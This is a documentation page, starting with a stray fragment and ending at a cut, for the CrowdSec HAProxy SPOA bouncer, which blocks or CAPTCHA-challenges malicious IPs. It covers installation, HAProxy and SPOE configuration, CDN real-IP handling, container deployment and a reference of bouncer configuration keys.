`/var/lib/crowdsec/lua/templates/captcha.html`. ### `CAPTCHA_EXPIRATION`[โ€‹](#captcha_expiration "Direct link to captcha_expiration") > int > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_EXPIRATION=3600 ``` The time for which the captcha will be validated. After this duration, if the decision is still present in CrowdSec local API, the IPs address will get a captcha again. --- ![CrowdSec](/img/crowdsec_haproxy.svg "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecSupported ModeStream only MetricsSupported MTLSSupported PrometheusSupported # A remediation component for HAProxy warning Beta Remediation Component, please report any issues on GitHub Enable the WAF for optimal protection This is the **only HAProxy bouncer with AppSec support**. After installing the bouncer, enable the [AppSec (WAF) Component](https://docs.crowdsec.net/docs/next/appsec/intro.md) for real-time WAF protection, virtual patching, and defense against known CVEs. Follow the dedicated [AppSec Quickstart for HAProxy](https://docs.crowdsec.net/docs/next/appsec/quickstart/haproxy_spoa.md) โ€” it picks up right where this page ends. ## What it does[โ€‹](#what-it-does "Direct link to What it does") The `cs-haproxy-spoa-bouncer` allows CrowdSec to enforce blocking, CAPTCHA, or allow actions directly within HAProxy using the [SPOE protocol](https://www.haproxy.com/blog/extending-haproxy-with-the-stream-processing-offload-engine). This remediation component is meant to obsolete the old lua-based haproxy bouncer. It supports IP-based decisions, CAPTCHA challenges, GeoIP-based headers, and integrates cleanly with CrowdSecโ€™s LAPI using the stream bouncer protocol. Supported features: * Stream mode (pull LAPI decisions periodically) * mTLS to LAPI (via `cert_path` / `key_path` / `ca_cert_path`) * IP / range / country decisions * Ban remediation (custom HTML / redirects) * CAPTCHA remediation (hCaptcha / reCAPTCHA / Turnstile) * GeoIP headers (ASN / Country) * AppSec (WAF evaluation via CrowdSec AppSec) * Prometheus metrics ## Installation[โ€‹](#installation "Direct link to Installation") We strongly encourage the use of our packages. ### Using packages[โ€‹](#using-packages "Direct link to Using packages") You will have to setup crowdsec repositories first [setup crowdsec repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md). * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-haproxy-spoa-bouncer ``` SHCOPY ``` sudo dnf install crowdsec-haproxy-spoa-bouncer ``` ## Bouncer configuration[โ€‹](#bouncer-configuration "Direct link to Bouncer configuration") If you are using packages, and have a lapi on the same server the following configuration file `/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml` should already be in a working state, and you can skip this section and begin with HAProxy Configuration. If your CrowdSec Engine is installed on another server, you'll need to update the `/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml` file. ## HAProxy Configuration[โ€‹](#haproxy-configuration "Direct link to HAProxy Configuration") HAProxy requires two configuration files for integration with the bouncer. The primary file is /etc/haproxy/haproxy.cfg, which must be modified to enable communication with the SPOE engineโ€”our documentation will guide you through this. The second file is /etc/haproxy/crowdsec.cfg, which contains the SPOE agent configuration. This file is automatically installed along with the bouncer package on the condition that `/etc/haproxy` exists. If you are using packages, you will find the haproxy configuration snippets in `/usr/share/doc/crowdsec-haproxy-spoa-bouncer/examples`. ### SPOE Filter[โ€‹](#spoe-filter "Direct link to SPOE Filter") Add a SPOE agent configuration to /etc/haproxy/crowdsec.cfg: `/etc/haproxy/crowdsec.cfg` TEXTCOPY ``` [crowdsec] spoe-agent crowdsec-agent messages crowdsec-tcp groups crowdsec-http-body crowdsec-http-no-body option var-prefix crowdsec option set-on-error error timeout hello 200ms timeout idle 55s timeout processing 500ms use-backend crowdsec-spoa log global ## TCP/IP level check - runs early to check IP remediation ## Uses event directive to trigger on each new client session (not sent as a group) spoe-message crowdsec-tcp args id=unique-id src-ip=src src-port=src_port event on-client-session ## HTTP message with body - used when body size is within limit for AppSec ## Note: Host and captcha cookie are extracted from headers=req.hdrs, no need to send separately spoe-message crowdsec-http-body args remediation=var(txn.crowdsec.remediation) id=unique-id method=method path=path query=query version=req.ver headers=req.hdrs body=req.body url=url ssl=ssl_fc src-ip=src src-port=src_port ## HTTP message without body - used when body is too large or not needed ## Note: Host and captcha cookie are extracted from headers=req.hdrs, no need to send separately spoe-message crowdsec-http-no-body args remediation=var(txn.crowdsec.remediation) id=unique-id method=method path=path query=query version=req.ver headers=req.hdrs url=url ssl=ssl_fc src-ip=src src-port=src_port ## Group for HTTP message with body - used when body size is within limit for AppSec spoe-group crowdsec-http-body messages crowdsec-http-body ## Group for HTTP message without body - used when body is too large or not needed spoe-group crowdsec-http-no-body messages crowdsec-http-no-body ``` If you installed the haproxy spoe bouncer through package, you will find this configuration file in `/usr/share/doc/crowdsec-haproxy-spoa-bouncer/examples` This crowdsec spoe agent configuration is then referenced in the main haproxy configuration file `/etc/haproxy/haproxy.cfg` and may be added at the bottom of the haproxy configuration file. `/etc/haproxy/haproxy.cfg` HAProxy 2.2+ can serve ban and captcha pages natively using `http-request return` with `lf-file` (log-format file). No Lua is required. HAPROXYCOPY ``` [...] frontend http-in bind *:80 option http-buffer-request unique-id-format %[uuid()] unique-id-header X-Unique-ID filter spoe engine crowdsec config /etc/haproxy/crowdsec.cfg # Body size limit: stay safely under SPOE frame limit (~50 KB) acl body_within_limit req.body_size -m int le 51200 # HTML-capable client detection acl render_html req.hdr_cnt(Accept) eq 0 acl render_html req.hdr(Accept) -m sub text/html acl render_html req.hdr(Accept) -m sub */* acl html_rejected req.hdr(Accept) -m reg "text/html;q=0" acl has_contact_url var(txn.crowdsec.contact_us_url) -m found acl empty_contact_url var(txn.crowdsec.contact_us_url) -m str "" http-request send-spoe-group crowdsec crowdsec-http-body if body_within_limit || !{ req.body_size -m found } http-request send-spoe-group crowdsec crowdsec-http-no-body if !body_within_limit { req.body_size -m found } http-request set-header X-Crowdsec-Remediation %[var(txn.crowdsec.remediation)] if { var(txn.crowdsec.remediation) -m found } http-request set-header X-Crowdsec-IsoCode %[var(txn.crowdsec.isocode)] if { var(txn.crowdsec.isocode) -m found } ## Redirect after successful captcha validation http-request redirect code 302 location %[url] if { var(txn.crowdsec.remediation) -m str "allow" } { var(txn.crowdsec.redirect) -m found } ## Serve remediation pages with native HAProxy lf-file directives (no Lua needed) http-request return status 200 content-type "text/html; charset=utf-8" hdr Cache-Control "no-cache, no-store" lf-file /var/lib/crowdsec-haproxy-spoa-bouncer/html/captcha.html if { var(txn.crowdsec.remediation) -m str "captcha" } render_html !html_rejected http-request return status 403 content-type "text/html; charset=utf-8" hdr Cache-Control "no-cache, no-store" lf-file /var/lib/crowdsec-haproxy-spoa-bouncer/html/ban-with-contact.html if { var(txn.crowdsec.remediation) -m str "ban" } render_html !html_rejected has_contact_url !empty_contact_url http-request return status 403 content-type "text/html; charset=utf-8" hdr Cache-Control "no-cache, no-store" lf-file /var/lib/crowdsec-haproxy-spoa-bouncer/html/ban.html if { var(txn.crowdsec.remediation) -m str "ban" } render_html !html_rejected !has_contact_url http-request return status 403 content-type "text/html; charset=utf-8" hdr Cache-Control "no-cache, no-store" lf-file /var/lib/crowdsec-haproxy-spoa-bouncer/html/ban.html if { var(txn.crowdsec.remediation) -m str "ban" } render_html !html_rejected empty_contact_url ## Plain-text fallback for non-HTML clients http-request return status 200 content-type text/plain hdr Cache-Control "no-cache, no-store" string "Captcha required\n" if { var(txn.crowdsec.remediation) -m str "captcha" } !render_html http-request return status 200 content-type text/plain hdr Cache-Control "no-cache, no-store" string "Captcha required\n" if { var(txn.crowdsec.remediation) -m str "captcha" } html_rejected http-request return status 403 content-type text/plain hdr Cache-Control "no-cache, no-store" string "Forbidden\n" if { var(txn.crowdsec.remediation) -m str "ban" } !render_html http-request return status 403 content-type text/plain hdr Cache-Control "no-cache, no-store" string "Forbidden\n" if { var(txn.crowdsec.remediation) -m str "ban" } html_rejected ## Captcha cookie management http-after-response set-header Set-Cookie %[var(txn.crowdsec.captcha_cookie)] if { var(txn.crowdsec.captcha_status) -m found } { var(txn.crowdsec.captcha_cookie) -m found } http-after-response set-header Set-Cookie %[var(txn.crowdsec.captcha_cookie)] if { var(txn.crowdsec.captcha_cookie) -m found } !{ var(txn.crowdsec.captcha_status) -m found } use_backend backend crowdsec-spoa mode tcp timeout connect 2s timeout server 60s server spoa 127.0.0.1:9000 ``` The complete example (with `global` and `defaults`) is also available at `/usr/share/doc/crowdsec-haproxy-spoa-bouncer/examples/haproxy.cfg`. ### Optional: Lua-based template rendering[โ€‹](#optional-lua-based-template-rendering "Direct link to Optional: Lua-based template rendering") Lua support is **optional**. If you need dynamic template rendering beyond what `lf-file` provides (for example, injecting runtime variables not available as HAProxy log-format fetch methods), you can load the bundled Lua scripts instead. Add to the `global` section of `haproxy.cfg`: HAPROXYCOPY ``` global [...] lua-prepend-path /usr/lib/crowdsec-haproxy-spoa-bouncer/lua/?.lua lua-load /usr/lib/crowdsec-haproxy-spoa-bouncer/lua/crowdsec.lua setenv CROWDSEC_BAN_TEMPLATE_PATH /var/lib/crowdsec-haproxy-spoa-bouncer/html/lua/ban.html setenv CROWDSEC_CAPTCHA_TEMPLATE_PATH /var/lib/crowdsec-haproxy-spoa-bouncer/html/lua/captcha.html ``` Then replace the `http-request return` block in the frontend with: HAPROXYCOPY ``` http-request lua.crowdsec_handle if { var(txn.crowdsec.remediation) -m str "captcha" } http-request lua.crowdsec_handle if { var(txn.crowdsec.remediation) -m str "ban" } ``` The Lua example config is at `/usr/share/doc/crowdsec-haproxy-spoa-bouncer/examples/haproxy-lua.cfg`. ### Real client IP behind a CDN (or upstream proxy)[โ€‹](#real-client-ip-behind-a-cdn-or-upstream-proxy "Direct link to Real client IP behind a CDN (or upstream proxy)") When HAProxy is deployed behind an upstream CDN/proxy, the source IP seen by HAProxy may be the CDN edge IP, not the real client IP. Set the source IP in HAProxy **before** calling `send-spoe-group`: HAPROXYCOPY ``` frontend http-in # Extract real client IP from proxy headers (runs before SPOE groups) # Priority: X-Real-IP > CF-Connecting-IP > X-Forwarded-For > direct src http-request set-src hdr_ip(X-Real-IP) if { req.hdr(X-Real-IP) -m found } http-request set-src hdr_ip(CF-Connecting-IP) if { req.hdr(CF-Connecting-IP) -m found } !{ req.hdr(X-Real-IP) -m found } http-request set-src hdr_ip(X-Forwarded-For) if { req.hdr(X-Forwarded-For) -m found } !{ req.hdr(X-Real-IP) -m found } !{ req.hdr(CF-Connecting-IP) -m found } filter spoe engine crowdsec config /etc/haproxy/crowdsec.cfg acl body_within_limit req.body_size -m int le 51200 http-request send-spoe-group crowdsec crowdsec-http-body if body_within_limit || !{ req.body_size -m found } http-request send-spoe-group crowdsec crowdsec-http-no-body if !body_within_limit { req.body_size -m found } ``` In upstream-proxy/CDN setups, the TCP check (`crowdsec-tcp`) still runs at `on-client-session` and may see the proxy IP; calling an HTTP group after `set-src` ensures the request is evaluated with the real client IP. Firewall rules for trusted proxies If you rely on headers like `X-Real-IP` / `X-Forwarded-For`, ensure only your trusted upstream CDN/proxy can connect to your HAProxy ports (typically 80/443). Otherwise, attackers can connect directly and spoof these headers. ### Container[โ€‹](#container "Direct link to Container") The container image runs the SPOA bouncer (it does not bundle HAProxy): `crowdsecurity/spoa-bouncer`. warning The container examples below are not a complete HAProxy setup. For production, pin HAProxy to a stable version (rather than `:latest`) and adapt `haproxy.cfg` to your environment (TLS, backends, logging, timeouts, etc.). Quick start: SHCOPY ``` docker run -d \ --name crowdsec-spoa-bouncer \ -e CROWDSEC_KEY="" \ -e CROWDSEC_URL="http://crowdsec:8080/" \ -p 9000:9000 \ -p 6060:6060 \ crowdsecurity/spoa-bouncer ``` If HAProxy runs in another container (for example in Docker Compose), point the SPOA backend to `crowdsec-spoa-bouncer:9000`. #### Docker Compose example[โ€‹](#docker-compose-example "Direct link to Docker Compose example") YAMLCOPY ``` services: crowdsec: image: crowdsecurity/crowdsec:latest restart: unless-stopped ports: - 127.0.0.1:8080:8080 environment: COLLECTIONS: "crowdsecurity/haproxy" BOUNCER_KEY_SPOA: "${BOUNCER_KEY_SPOA}" GID: "${GID-1000}" volumes: - crowdsec-db:/var/lib/crowdsec/data/ - crowdsec-config:/etc/crowdsec/ # Optional: configure log acquisition for your setup # - ./crowdsec/acquis.yaml:/etc/crowdsec/acquis.yaml:ro networks: - crowdsec crowdsec-spoa-bouncer: image: crowdsecurity/spoa-bouncer:latest restart: unless-stopped depends_on: - crowdsec environment: CROWDSEC_KEY: "${BOUNCER_KEY_SPOA}" CROWDSEC_URL: "http://crowdsec:8080/" volumes: - templates:/var/lib/crowdsec-haproxy-spoa-bouncer/html/ networks: - crowdsec haproxy: image: haproxy:latest restart: unless-stopped volumes: - ./config/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro - ./config/crowdsec.cfg:/etc/haproxy/crowdsec.cfg:ro - templates:/var/lib/crowdsec-haproxy-spoa-bouncer/html/:ro ports: - "80:80" - "443:443" depends_on: - crowdsec-spoa-bouncer networks: - crowdsec volumes: crowdsec-db: crowdsec-config: templates: networks: crowdsec: ``` Create `./config/haproxy.cfg` and `./config/crowdsec.cfg` from the โ€œHAProxy Configurationโ€ section below (in Compose, the SPOA backend server should target `crowdsec-spoa-bouncer:9000`). Set `BOUNCER_KEY_SPOA` in a `.env` file or your shell environment, and persist CrowdSec directories (at least `/var/lib/crowdsec/data/`) as described in the [Docker getting started guide](https://docs.crowdsec.net/u/getting_started/installation/docker.md). To use a custom configuration file: SHCOPY ``` docker run -d \ --name crowdsec-spoa-bouncer \ -v $PWD/crowdsec-spoa-bouncer.yaml:/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml:ro \ -p 9000:9000 \ crowdsecurity/spoa-bouncer ``` info The HTML templates (`/var/lib/crowdsec-haproxy-spoa-bouncer/html/`) are needed by the non-Lua `lf-file` HAProxy directives. If you run HAProxy without the package, mount or copy the `html/` directory from the image into your HAProxy environment. The Lua scripts (`/usr/lib/crowdsec-haproxy-spoa-bouncer/lua/`) are only required if you choose the [optional Lua rendering approach](#optional-lua-based-template-rendering). For all container options and environment variables, see: #### Common CDN headers[โ€‹](#common-cdn-headers "Direct link to Common CDN headers") | CDN Provider | Header Name | HAProxy Function | | ------------------- | --------------------------- | ----------------------------------- | | Generic / Most CDNs | `X-Real-IP` | `hdr_ip(X-Real-IP)` | | Cloudflare | `CF-Connecting-IP` | `hdr_ip(CF-Connecting-IP)` | | AWS CloudFront | `CloudFront-Viewer-Address` | `hdr_ip(CloudFront-Viewer-Address)` | | Akamai | `True-Client-IP` | `hdr_ip(True-Client-IP)` | | Azure CDN | `X-Forwarded-For` | `hdr_ip(X-Forwarded-For)` | tip If your CDN uses `X-Forwarded-For` with multiple IPs (comma-separated), you may need to select the right one: HAPROXYCOPY ``` http-request set-src hdr_ip(X-Forwarded-For,1) if { req.hdr(X-Forwarded-For) -m found } ``` If your CDN appends IPs from right to left, use `-1` for the rightmost IP: HAPROXYCOPY ``` http-request set-src hdr_ip(X-Forwarded-For,-1) if { req.hdr(X-Forwarded-For) -m found } ``` ## How-to guides[โ€‹](#how-to-guides "Direct link to How-to guides") * CAPTCHA: enable per domain * AppSec: forward requests for WAF evaluation * Prometheus: expose metrics endpoint ### Enable CAPTCHA for a domain[โ€‹](#enable-captcha-for-a-domain "Direct link to Enable CAPTCHA for a domain") TEXTCOPY ``` hosts: - host: "example.com" captcha: site_key: "" secret_key: "" provider: "hcaptcha" signing_key: "" ``` The following captcha providers are supported: TEXTCOPY ``` hcaptcha recaptcha turnstile ``` Provider registration * **hCaptcha** โ€” register at * **reCAPTCHA** โ€” register at (use **reCAPTCHA v2 "I'm not a robot"**) * **Turnstile** โ€” register at ### AppSec (WAF) forwarding โ€” configuration reference[โ€‹](#appsec-waf-forwarding--configuration-reference "Direct link to AppSec (WAF) forwarding โ€” configuration reference") Turning this on To enable the WAF end-to-end, follow the [AppSec Quickstart for HAProxy](https://docs.crowdsec.net/docs/next/appsec/quickstart/haproxy_spoa.md) โ€” it picks up after the bouncer install and walks through collections, acquisition, and enabling forwarding. Relevant bouncer keys in `/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml`: YAMLCOPY ``` # Global AppSec URL (optional) appsec_url: http://127.0.0.1:7422 appsec_timeout: 200ms hosts: - host: "*" appsec: always_send: false # url: http://custom-appsec:7422 # optional per-host override # api_key: custom-key # optional per-host override ``` HAProxy requirements when using AppSec (and/or captcha): * Enable request buffering: `option http-buffer-request` * Increase HAProxy buffer size (max 64KB): `tune.bufsize 65536` * Use the `crowdsec-http-body` group when the body is available (see the `body_within_limit` + `send-spoe-group` example above) Because request-body forwarding is constrained by HAProxy/SPOE/SPOP limits, keep an explicit body size limit (for example `51200`) and consider a layered approach (IP remediation at HAProxy, deeper inspection downstream). ### Expose Prometheus metrics[โ€‹](#expose-prometheus-metrics "Direct link to Expose Prometheus metrics") Enable and expose metrics: TEXTCOPY ``` prometheus: enabled: true listen_addr: 127.0.0.1 listen_port: "60601" ``` Access them at . ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") The upstream example configurations live in the `cs-haproxy-spoa-bouncer` repository: * `crowdsec.cfg`: * HAProxy examples: YAML snippets below show each key in context. ### `log_mode`[โ€‹](#log_mode "Direct link to log_mode") > `file` | `stdout` Where the log contents are written (With `file` it will be written to `log_dir` with the name `crowdsec-spoa-bouncer.log`) YAMLCOPY ``` log_mode: "file" # or "stdout" ``` ### `log_dir`[โ€‹](#log_dir "Direct link to log_dir") > string Log directory path that will contain the log file. By default, this should be set to `/var/log/crowdsec-spoa/` as this directory is automatically created by the systemd service. When installed from packages, the systemd unit runs the bouncer as the `crowdsec-spoa` user and creates `/var/log/crowdsec-spoa/` automatically (via `LogsDirectory=`). If you set a custom `log_dir`, make sure the directory exists and that the `crowdsec-spoa` user has permission to read/write there. YAMLCOPY ``` log_dir: "/var/log/crowdsec-spoa/" ``` ### `log_level`[โ€‹](#log_level "Direct link to log_level") > `trace` | `debug` | `info` | `warn` | `error` Log level (default: `info`) YAMLCOPY ``` log_level: "info" ``` ### `compress_logs`[โ€‹](#compress_logs "Direct link to compress_logs") > `true` | `false` Compress log files on rotation (default: `true`) YAMLCOPY ``` compress_logs: true ``` ### `log_max_size`[โ€‹](#log_max_size "Direct link to log_max_size") > int (in MB) Max size of log files before rotation (default: `500`) YAMLCOPY ``` log_max_size: 500 ``` ### `log_max_files`[โ€‹](#log_max_files "Direct link to log_max_files") > int How many backup log files to keep before deletion (can happen before `log_max_age` is reached) (default: `3`) YAMLCOPY ``` log_max_files: 3 ``` ### `log_max_age`[โ€‹](#log_max_age "Direct link to log_max_age") > int (in days) Max age of backup files before deletion (can happen before `log_max_files` is reached) (default: `30`) YAMLCOPY ``` log_max_age: 30 ``` info The LAPI connection settings (`api_url`, `update_frequency`, `insecure_skip_verify`, `api_key`, mTLS paths, and decision filters) are read by the embedded stream bouncer. ### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") > string (parseable by [time.ParseDuration](https://pkg.go.dev/time#ParseDuration)) Frequency to contact the API for new/deleted decisions (default: `10s`) YAMLCOPY ``` update_frequency: "10s" ``` ### `api_url`[โ€‹](#api_url "Direct link to api_url") > string URL of the local API EG: `http://127.0.0.1:8080` YAMLCOPY ``` api_url: "https://lapi.example.com:8080/" ``` ### `api_key`[โ€‹](#api_key "Direct link to api_key") > string API key to authenticate with the local API YAMLCOPY ``` api_key: "" ``` ### `insecure_skip_verify`[โ€‹](#insecure_skip_verify "Direct link to insecure_skip_verify") > `true` | `false` Skip verification of the API certificate, typical for self-signed certificates YAMLCOPY ``` insecure_skip_verify: false ``` ### `cert_path`[โ€‹](#cert_path "Direct link to cert_path") > string Client certificate path for mTLS to LAPI. YAMLCOPY ``` cert_path: "/etc/ssl/certs/client.crt" ``` ### `key_path`[โ€‹](#key_path "Direct link to key_path") > string Client private key path for mTLS to LAPI. YAMLCOPY ``` key_path: "/etc/ssl/private/client.key" ``` ### `ca_cert_path`[โ€‹](#ca_cert_path "Direct link to ca_cert_path") > string CA certificate path for validating the LAPI certificate (mTLS / custom CAs). YAMLCOPY ``` ca_cert_path: "/etc/ssl/certs/ca.crt" ``` ### `retry_initial_connect`[โ€‹](#retry_initial_connect "Direct link to retry_initial_connect") > `true` | `false` Retry connecting to LAPI on startup instead of failing fast. YAMLCOPY ``` retry_initial_connect: true ``` ### `scopes`[โ€‹](#scopes "Direct link to scopes") > \[]string Only pull decisions matching these scopes (for example `ip`, `range`, `country`). YAMLCOPY ``` scopes: ["ip", "range", "country"] ``` ### `scenarios_containing`[โ€‹](#scenarios_containing "Direct link to scenarios_containing") > \[]string Only pull decisions whose scenario contains one of these strings. YAMLCOPY ``` scenarios_containing: ["crowdsecurity/"] ``` ### `scenarios_not_containing`[โ€‹](#scenarios_not_containing "Direct link to scenarios_not_containing") > \[]string Do not pull decisions whose scenario contains one of these strings. YAMLCOPY ``` scenarios_not_containing: ["whitelist"] ``` ### `origins`[โ€‹](#origins "Direct link to origins") > \[]string Only pull decisions from these origins. YAMLCOPY ``` origins: ["crowdsecurity", "lists"] ``` ### `listen_tcp`[โ€‹](#listen_tcp "Direct link to listen_tcp") > string TCP address and port to listen on for SPOE connections. Format: `ip:port` or `:port` YAMLCOPY ``` listen_tcp: "0.0.0.0:9000" ``` info At least one of `listen_tcp` or `listen_unix` must be configured. ### `listen_unix`[โ€‹](#listen_unix "Direct link to listen_unix") > string Unix socket path to listen on for SPOE connections YAMLCOPY ``` listen_unix: "/run/crowdsec-spoa/spoa.sock" ``` info At least one of `listen_tcp` or `listen_unix` must be configured. ### `hosts`[โ€‹](#hosts "Direct link to hosts") > \[]object List of host configurations for domain-specific settings YAMLCOPY ``` hosts: - host: "example.com" captcha: provider: "turnstile" site_key: "" secret_key: "" signing_key: "" ban: contact_us_url: "https://example.com/support" appsec: always_send: false log_level: "info" - host: "*" captcha: fallback_remediation: "allow" ``` #### `host`[โ€‹](#host "Direct link to host") > string Hostname pattern to match (supports wildcards). Note: The list of host objects is automatically sorted from longest to shortest pattern, including wildcards. For example, `*.example.com` (matching all subdomains) will be evaluated before `example.com`, and the wildcard `*` (which matches any host) will always be at the bottom of the list. This ensures that more specific patterns take precedence over more general ones. YAMLCOPY ``` hosts: - host: "*.example.com" # <-- host pattern ``` #### `captcha`[โ€‹](#captcha "Direct link to captcha") > object CAPTCHA configuration for this host YAMLCOPY ``` hosts: - host: "example.com" captcha: provider: "turnstile" site_key: "" secret_key: "" signing_key: "" ``` ##### `provider`[โ€‹](#provider "Direct link to provider") > `hcaptcha` | `recaptcha` | `turnstile` CAPTCHA provider to use YAMLCOPY ``` hosts: - host: "example.com" captcha: provider: "turnstile" # <-- provider ``` ##### `site_key`[โ€‹](#site_key "Direct link to site_key") > string CAPTCHA site key YAMLCOPY ``` hosts: - host: "example.com" captcha: site_key: "" # <-- site_key ``` ##### `secret_key`[โ€‹](#secret_key "Direct link to secret_key") > string CAPTCHA secret key YAMLCOPY ``` hosts: - host: "example.com" captcha: secret_key: "" # <-- secret_key ``` ##### `fallback_remediation`[โ€‹](#fallback_remediation "Direct link to fallback_remediation") > string `ban` | `allow` If captcha is not configured which remediation to use as a fallback. Can be configured to `allow` to pass on captcha remediations (default: `ban`) YAMLCOPY ``` hosts: - host: "*" captcha: fallback_remediation: "allow" # <-- fallback_remediation ``` ##### `timeout`[โ€‹](#timeout "Direct link to timeout") > int (in seconds) HTTP client timeout in seconds, maximum 300 (default: `5`) YAMLCOPY ``` hosts: - host: "example.com" captcha: timeout: 5 # <-- timeout (seconds) ``` ##### `cookie`[โ€‹](#cookie "Direct link to cookie") > object Cookie generation configuration YAMLCOPY ``` hosts: - host: "example.com" captcha: cookie: secure: "auto" http_only: true ``` ###### `secure`[โ€‹](#secure "Direct link to secure") > `auto` | `always` | `never` Set the secure flag on the cookie. `auto` relies on the `ssl_fc` flag from HAProxy (default: `auto`) YAMLCOPY ``` hosts: - host: "example.com" captcha: cookie: secure: "auto" # <-- secure ``` ###### `http_only`[โ€‹](#http_only "Direct link to http_only") > `true` | `false` Set the HttpOnly flag on the cookie (default: `true`) YAMLCOPY ``` hosts: - host: "example.com" captcha: cookie: http_only: true # <-- http_only ``` ##### `pending_ttl`[โ€‹](#pending_ttl "Direct link to pending_ttl") > string (parseable by [time.ParseDuration](https://pkg.go.dev/time#ParseDuration)) TTL for pending captcha tokens (default: `30m`) YAMLCOPY ``` hosts: - host: "example.com" captcha: pending_ttl: "30m" # <-- pending_ttl ``` ##### `passed_ttl`[โ€‹](#passed_ttl "Direct link to passed_ttl") > string (parseable by [time.ParseDuration](https://pkg.go.dev/time#ParseDuration)) TTL for passed captcha tokens (default: `24h`) YAMLCOPY ``` hosts: - host: "example.com" captcha: passed_ttl: "24h" # <-- passed_ttl ``` ##### `signing_key`[โ€‹](#signing_key "Direct link to signing_key") > string (minimum 32 bytes) Key used to sign captcha tokens (required when using captcha). Generate one with `openssl rand -hex 32`. If you run multiple SPOA instances serving the same domains, use the same `signing_key` everywhere so tokens validate consistently. YAMLCOPY ``` hosts: - host: "example.com" captcha: signing_key: "" # <-- signing_key ``` #### `ban`[โ€‹](#ban "Direct link to ban") > object Ban remediation configuration for this host YAMLCOPY ``` hosts: - host: "example.com" ban: contact_us_url: "https://example.com/support" ``` ##### `contact_us_url`[โ€‹](#contact_us_url "Direct link to contact_us_url") > string URL to display in ban templates for users to contact support this value is passed to an anchor tag href value warning If you use a `mailto:` or `tel:` URL here, it will be visible in the rendered ban page and may be harvested by crawlers/spammers. Consider using a contact form URL instead, ideally hosted on a separate domain (or otherwise exempted) so it remains reachable while the main site is being challenged/blocked. YAMLCOPY ``` hosts: - host: "example.com" ban: contact_us_url: "https://example.com/support" # <-- contact_us_url ``` #### `log_level`[โ€‹](#log_level-1 "Direct link to log_level-1") > `trace` | `debug` | `info` | `warn` | `error` Log level for this specific host (overrides the global `log_level` setting), useful when debugging a single host. YAMLCOPY ``` hosts: - host: "example.com" log_level: "info" # <-- host log_level ``` #### `appsec`[โ€‹](#appsec "Direct link to appsec") > object Host-level AppSec configuration (optional). YAMLCOPY ``` hosts: - host: "example.com" appsec: always_send: false ``` ##### `always_send`[โ€‹](#always_send "Direct link to always_send") > `true` | `false` When `false`, AppSec evaluation is skipped if a higher-priority remediation already applies (for example `ban` or `captcha`). YAMLCOPY ``` hosts: - host: "example.com" appsec: always_send: false # <-- always_send ``` ##### `url`[โ€‹](#url "Direct link to url") > string AppSec URL override for this host (defaults to global `appsec_url`). YAMLCOPY ``` hosts: - host: "example.com" appsec: url: "http://127.0.0.1:7422" # <-- url ``` ##### `api_key`[โ€‹](#api_key-1 "Direct link to api_key-1") > string AppSec API key override for this host (defaults to top-level `api_key`). YAMLCOPY ``` hosts: - host: "example.com" appsec: api_key: "" # <-- api_key ``` ##### `timeout`[โ€‹](#timeout-1 "Direct link to timeout-1") > string (parseable by [time.ParseDuration](https://pkg.go.dev/time#ParseDuration)) AppSec request timeout for this host (default: `200ms`). YAMLCOPY ``` hosts: - host: "example.com" appsec: timeout: "200ms" # <-- timeout ``` ### `hosts_dir`[โ€‹](#hosts_dir "Direct link to hosts_dir") > string A directory containing `.yaml` files, each representing a [host](#host) YAML struct. Each file should define all fields required by the host configuration structure. YAMLCOPY ``` hosts_dir: "/etc/crowdsec/bouncers/hosts.d" ``` ### `asn_database_path`[โ€‹](#asn_database_path "Direct link to asn_database_path") > string Path to the GeoIP2 ASN database file (optional) YAMLCOPY ``` asn_database_path: "/var/lib/crowdsec/data/GeoLite2-ASN.mmdb" ``` ### `city_database_path`[โ€‹](#city_database_path "Direct link to city_database_path") > string Path to the GeoIP2 City database file (optional) YAMLCOPY ``` city_database_path: "/var/lib/crowdsec/data/GeoLite2-City.mmdb" ``` ### `prometheus`[โ€‹](#prometheus "Direct link to prometheus") > object Prometheus metrics configuration YAMLCOPY ``` prometheus: enabled: true listen_addr: "127.0.0.1" listen_port: "60601" ``` #### `enabled`[โ€‹](#enabled "Direct link to enabled") > `true` | `false` Enable Prometheus metrics endpoint YAMLCOPY ``` prometheus: enabled: true # <-- enabled ``` #### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") > string Address to listen on for Prometheus metrics endpoint YAMLCOPY ``` prometheus: listen_addr: "127.0.0.1" # <-- listen_addr ``` #### `listen_port`[โ€‹](#listen_port "Direct link to listen_port") > string Port to listen on for Prometheus metrics endpoint YAMLCOPY ``` prometheus: listen_port: "60601" # <-- listen_port ``` ### `pprof`[โ€‹](#pprof "Direct link to pprof") > object Enable and expose Go pprof endpoints (debugging only). YAMLCOPY ``` pprof: enabled: false listen_addr: "127.0.0.1" listen_port: "6060" ``` #### `enabled`[โ€‹](#enabled-1 "Direct link to enabled-1") > `true` | `false` Enable the pprof endpoint (debugging only). YAMLCOPY ``` pprof: enabled: true # <-- enabled ``` #### `listen_addr`[โ€‹](#listen_addr-1 "Direct link to listen_addr-1") > string Address to listen on for pprof endpoint. YAMLCOPY ``` pprof: listen_addr: "127.0.0.1" # <-- listen_addr ``` #### `listen_port`[โ€‹](#listen_port-1 "Direct link to listen_port-1") > string Port to listen on for pprof endpoint. YAMLCOPY ``` pprof: listen_port: "6060" # <-- listen_port ``` ### `appsec_url`[โ€‹](#appsec_url "Direct link to appsec_url") > string Global CrowdSec AppSec URL (optional). YAMLCOPY ``` appsec_url: "http://127.0.0.1:7422" ``` ### `appsec_timeout`[โ€‹](#appsec_timeout "Direct link to appsec_timeout") > string (parseable by [time.ParseDuration](https://pkg.go.dev/time#ParseDuration)) Global AppSec request timeout (default: `200ms`). YAMLCOPY ``` appsec_timeout: "200ms" ``` ### Manual installation and advanced 